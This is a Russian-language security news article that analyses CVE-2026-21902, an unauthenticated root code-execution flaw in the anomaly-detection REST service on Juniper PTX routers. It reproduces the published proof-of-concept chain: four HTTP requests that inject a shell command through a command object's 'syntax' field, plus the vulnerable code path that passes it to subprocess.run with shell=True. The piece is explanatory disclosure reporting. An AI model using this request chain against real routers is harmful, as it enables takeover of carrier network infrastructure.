Гениальный код для роутеров Juniper. Пароли отменяются, встроенный сканер услужливо запускает скрипты взломщиков с правами root

Инструмент поиска аномалий не заметил, как сдал устройство хакерам.


p9p4y7g6d9mw6oe4uoymq9wmwyaqjw4i.jpg

В маршрутизаторах Juniper PTX на базе Junos OS Evolved раскрыли критическую уязвимость CVE-2026-21902 , которая позволяет удалённо выполнять код с правами root без аутентификации. Juniper описывает проблему как неправильное назначение прав доступа к критическому ресурсу в механизме On-Box Anomaly Detection Framework. По замыслу этот сервис должен быть доступен только внутренним процессам через внутренний маршрутизирующий экземпляр, а не через внешний сетевой порт. Если до службы всё же можно достучаться по сети, атакующий получает возможность управлять сервисом и в итоге полностью захватить устройство. Компонент включён по умолчанию и не требует отдельной настройки.

Уязвимость затрагивает только устройства серии PTX. В бюллетене Juniper говорится, что под удар попали выпуски Junos OS Evolved 25.4 до версий 25.4R1-S1-EVO и 25.4R2-EVO, тогда как сборки до 25.4R1-EVO уязвимыми не считаются. Сама серия PTX применяется в магистральных сетях операторов связи, на узлах пиринга и в крупных межцентровых соединениях. Такие маршрутизаторы проектируют под очень высокую пропускную способность, низкие задержки и большую плотность портов. Классический Junos OS исторически строился на FreeBSD, а Junos OS Evolved Juniper перевела на Linux и более модульную, контейнеризированную архитектуру.

Проверка показала, что внутри системы действительно работает сетевой сервис, связанный с On-Box Anomaly Detection Framework. При просмотре сокетов исследователи увидели следующую картину:

ProtocolBinding IPPortApplicationDescription  TCP0.0.0.022SSHxinetd  TCP0.0.0.053DNSdnsmasq  TCP0.0.0.0830NETCONF over SSHxinetd  TCP0.0.0.08160On-Box Anomaly Detection Framework/usr/sbin/ monitor/ api_server.py  TCP[::]22SSHxinetd  TCP[::]53DNSdnsmasq  TCP[::]830NETCONF over SSHxinetd  UDP*53DNSdnsmasq  UDP*123NTPntpd  UDP*161SNMPsnmpd  UDP*514Syslogeventd  UDP0.0.0.06123Junos NTPjsntpd  UDP0.0.0.08503Routing Protocol Daemonrpd
Служба аномалий слушает порт 8160/TCP и, судя по выводу, привязана к 0.0.0.0, то есть ко всем IPv4-интерфейсам. Подозрения усиливает и код инициализации HTTP-сервера, найденный в системе:

port = CONFIG.get('api_server_port', 8160)  server_address = ('', port)  httpd = server_class(server_address, handler_class)  logging.info(f'Serving HTTP on port {port}...')  httpd.serve_forever()
Пустая строка в server_address в такой конструкции означает привязку ко всем адресам. Сервис представляет собой REST API , написанный на Python и запущенный с правами root. Назначение платформы довольно широкое: через неё можно описывать, планировать и запускать диагностические процедуры, реагировать на найденные аномалии, добавлять новую логику обнаружения и разбирать проблемы вроде аппаратных сбоев, аномалий трафика и ошибок протоколов без внешней системы мониторинга.

Внутренняя модель сервиса строится вокруг четырёх сущностей. Первая - Command, то есть команда, которая будет выполнена на устройстве. Вторая - Handler, обработчик, разбирающий вывод команды. Третья - DAG, ориентированный ациклический граф, который описывает последовательность действий: команд, обработчиков или вложенных графов. Четвёртая - DAG Instance, конкретный экземпляр графа, привязанный к расписанию. Уже из этой схемы видно, что система сама по себе умеет запускать команды на маршрутизаторе. Вопрос только в том, можно ли управлять этой функцией извне. Ответ, судя по опубликованному разбору, оказался положительным.

Все основные файлы лежат прямо в файловой системе устройства, в каталоге /usr/sbin/monitor/. Исследователи выделили четыре ключевых компонента:

python3.10 /usr/sbin/monitor/ anomaly_detector_main.py - The initial Python script that ensures the sub Python scripts stay alive.  python3.10 /usr/sbin/monitor/ api_server.py - The HTTP API server which stores request data in files on the server.  python3.10 /usr/sbin/monitor/ intent_monitor.py - Periodically checks for updates to definitions and updates API server definitions.  python3.10 /usr/sbin/monitor/ schedule_enforcer.py - Executes scheduled DAG instances periodically.
anomaly_detector_main.py следит, чтобы остальные процессы не падали. api_server.py обслуживает HTTP-запросы и сохраняет полученные данные в файлах на устройстве. intent_monitor.py периодически отслеживает обновления определений и синхронизирует их с сервером API. schedule_enforcer.py отвечает за периодический запуск экземпляров DAG по расписанию.

Набор HTTP-методов и конечных точек у сервиса выглядит как вполне обычный интерфейс управления конфигурацией. В опубликованном разборе приведён такой список:

MethodPathDescription  GET/anomalyRetrieves all registered Anomalies.  GET/config/schedule/ Get new DAG INSTANCEs to execute on the component.  GET / POST / PUT / DELETE/config/dag/Retrieves, creates, updates ,or deletes a DAG configuration.  GET / POST / PUT / DELETE/config/command/ Retrieves, creates, updates ,or deletes a COMMAND configuration.  GET / POST / PUT / DELETE/config/handler/ Retrieves, creates, updates ,or deletes a HANDLER configuration.  GET / POST / PUT / DELETE/config/dag-instance/ Retrieves, creates, updates ,or deletes a DAG INSTANCE configuration.  GET / POST/config/commitValidates the union of the Workspace config and the Existing Config. Saves the Workspace Config if it is valid on POST.  GET / POST/output/dag-instance/ /iteration/ /component/reRetrieves or stores the output of a specific DAG INSTANCE run for an ITERATION on the RE.  GET / POST / DELETE/alarm/dag-instance/ / component/reGets, stores or deletes alarms raised by the DAG INSTANCE run on the RE.  POST/anomaly/dag-instance/ /iteration/ /component/reRegisters anomalies raised by the DAG INSTANCE run on an RE.
Критически важная часть находится в конфигурации команды. Сервис позволяет создать объект command, а в поле syntax передать строку, которую система позже запустит. Для удалённого выполнения кода в опубликованном примере используется простая команда id > /var/home/admin/watchTowr.txt. Тип RE-SHELL подсказывает сервису, что строку нужно выполнить как обычную команду оболочки на самом устройстве.

Пример HTTP-запроса для создания такой команды в оригинале выглядит так:

POST /config/command/ HTTP/1.1  Host:   Content-Type: application/json  Content-Length:     {"syntax": "id > /var/home/admin/watchTowr.txt","type": "RE-SHELL","parsing": {},"outputs": { "result": {"type": "str"}},"doc": ""  }
После создания команды атакующему нужен DAG, который определит порядок выполнения действий. В простейшем случае граф состоит из одного действия и просто ссылается на ранее созданную команду. Обработчики, дополнительные входные параметры и переходы между узлами не нужны. В разборе приведён следующий запрос:

POST /config/dag/ HTTP/1.1  Host:   Content-Type: application/json  Content-Length:     {"start": [],"edges": [],"actions": { : {  "command": ,  "inputs": {} }},"doc": ""  }
Дальше создаётся экземпляр DAG, который говорит сервису, когда именно нужно выполнить граф. В опубликованной цепочке запуск назначают немедленно, без задержки. Для этого используется такой запрос:

POST /config/dag-instance/ HTTP/1.1  Host:   Content-Type: application/json  Content-Length:     {"dag": ,"enabled": True,"platform": ,"target": { "type": "RE"},"schedule": { "start": , "delay": 0},"context": {}  }
На последнем шаге клиент отправляет запрос фиксации конфигурации. После этого прежние объекты сохраняются в файле, который затем обрабатывает планировщик schedule_enforcer:

POST /config/config/commit HTTP/1.1  Host:   Content-Type: application/json  Content-Length: 0
Дальше в дело вступает внутренняя логика сервиса. Главная функция получает расписание, заданное для экземпляра DAG. После проверки времени она вызывает execute_dag_instance. Затем запускается execute_dag, далее - run_bfs_on_dag_actions, а уже там вызывается execute_command. Именно в этой функции из описания команды извлекается поле syntax, и его содержимое без фильтрации передаётся в subprocess.run(...). В опубликованном разборе цепочка показана прямо по исходному коду:

def main(): # [1]...schedule = api_client.get_config_schedule(component_name=f'{COMPONENT}{FPC_SLOT}')...thread = threading.Thread(target=execute_dag_instance, args=(...)) # [2]...    def execute_dag_instance(api_client, ...): # [2]...dag_executor = Executor(...)dag_executor.execute_dag() # [3]...    class Executor:def execute_dag(self): # [3] self.run_bfs_on_dag_actions(...) # [4]  def run_bfs_on_dag_actions(self, ...): # [4] ... if 'command' in dag_def['actions'][current_node]:  action_outputs = self.execute_command(command_id=current_node, ...) # [5] ...  ## COMMAND Execution Function#def execute_command(self, command_id, ...): # [5] command_name = dag_def['actions'][command_id]['command'] ...   # # Build Command by substituting in Inputs # syntax = command_def['syntax'] # [6]   ... if self.target['type'] == 'RE':  #  # If the DAG INSTANCE is executing on the RE,  # and if the command type is an RE CLI command,  # we need to run the command on the RE  #  if command_def['type'] == 'RE':component_command_mapping['re'] = f'cli -c "{syntax}"'  elif command_def['type'] == 'RE-SHELL':component_command_mapping['re'] = syntax   raw_output_mapping = dict() for component_name, command in component_command_mapping.items():  try:completed_subprocess = subprocess.run( # [7] command, shell=True, check=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)if completed_subprocess.returncode != 0: raw_output = completed_subprocess.stderr.decode('utf-8')else: raw_output = completed_subprocess.stdout.decode('utf-8')raw_output_mapping[component_name] = raw_output  except subprocess.CalledProcessError as e:logging.error(f'Error executing command - ...')
Здесь важны сразу несколько деталей. Во-первых, логика сама строит строку команды из конфигурации DAG. Во-вторых, для типа RE-SHELL никакого дополнительного обрамления не происходит: строка из syntax просто попадает в component_command_mapping['re']. В-третьих, вызов subprocess.run использует параметр shell=True, а значит, строка обрабатывается оболочкой напрямую. Для атакующего это уже готовое удалённое выполнение кода , причём с правами root, потому что сам сервис работает от имени суперпользователя.

Вся цепочка в итоге выглядит почти слишком прямолинейно для критической уязвимости такого уровня. Удалённый пользователь без логина и пароля отправляет запрос на создание команды, затем описывает DAG, регистрирует экземпляр DAG, фиксирует конфигурацию и ждёт, пока планировщик выполнит задание. После этого команда срабатывает на маршрутизаторе. Никакой отдельной уязвимости для обхода аутентификации здесь не требуется, потому что входной интерфейс и так оказывается доступен извне.

Именно поэтому CVE-2026-21902 получила почти максимальную оценку по шкале CVSS. При успешной эксплуатации атакующий получает полный контроль над магистральным маршрутизатором, который может стоять в критическом сегменте сети оператора, интернет-обменника или гипермасштабной инфраструктуры. Для таких устройств компрометация означает уже не локальный сбой одного сервиса, а риск полного контроля над сетевым узлом, через который проходит большой объём трафика.